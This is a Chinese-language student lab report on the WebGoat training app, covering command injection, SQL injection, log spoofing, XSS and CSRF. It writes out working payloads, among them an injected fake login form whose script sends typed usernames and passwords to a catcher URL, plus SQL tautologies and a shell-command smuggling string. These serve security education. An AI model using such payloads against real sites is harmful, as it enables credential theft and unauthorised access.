0.安装webgoat
安装jdk1.8版本,安装成功:
下载webgoat-container-7.0.1-war-exec.jar
,然后输入 java -jar webgoat-container-7.0.1-war-exec.ja
r 开启WebGoat
开启成功:
在浏览器中输入http://localhost:8080/WebGoat
进入WebGoat
登录界面,直接用默认用户名密码登录
1.1.SQL注入攻击
命令注入(Command Injection)——修改参数,使服务器执行恶意命令
在左侧菜单栏中选择Injection Flaws->Command Injection
,在复选框中任意一栏的代码,右键单击后,选择Edit At Html
进行修改,添加"& netstat -an & ipconfig"
修改后再次点击下拉框旁的View,如果可以看到执行指令后的网络端口使用情况和IP地址—>攻击成功
数字型注入(Numeric SQL Injection)——在station字段中注入特征字符,组合成新的SQL语句
右键点击页面,选择inspect Element
审查网页元素对源代码进行修改,选中的城市编号Value
值中添加or 1=1
点击Go!
显示所有天气数据
日志欺骗(Log Spoofing)——通过在日志文件中插入脚本实现欺骗。
在User Name输入5228%0d%0aLogin Succeeded for username: admin
,登录
SQL 注入(LAB: SQL Injection)
Stage 1:字符串型注入(Stage 1: String SQL Injection)
右键点击页面,选择inspect Element
审查网页元素对源代码进行修改,将password
密码框的最大长度限制改为100;以用户Neville(admin)
登录,输入密码hello' or '1' = '1
1.2.XSS攻击
XSS钓鱼(Phishing with XSS)
原理: 当用户输入非法HTTP响应时容易受到XSS攻击。在XSS的帮助下,可以实现钓鱼工具或向某些官方页面中增加内容,但被攻击方很难发现该内容是否存在威胁。
编写一段脚本读取被攻击者在表单上输入的用户名和密码信息,将这些信息发送给捕获这些信息的WebGoat,将这段代码放入search框中
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
如果在登陆框中输入自己的用户名和密码,点击登录,用户名和密码被窃取,会显示在页面上。
存储型XSS攻击(Stored XSS Attacks)
在title
中输入任意字符,留言板中输入<script>alert("I am 20175228. You've been attacked!!!");</script>,
点击生成的message
,出现提示。
反射型XSS攻击(Reflected XSS Attacks)
在Enter your three digit access code
框中输入<script>alert("You've been attacked!!! I'm 20175228");</script>
1.3.CSRF攻击
跨站请求伪造(Cross Site Request Forgery (CSRF))
在文本框中提交一个含有转账恶意请求的代码,<img src="http://localhost:8080/WebGoat/attack?Screen=&menu=900&transferFunds=104"/>
点击生成的message: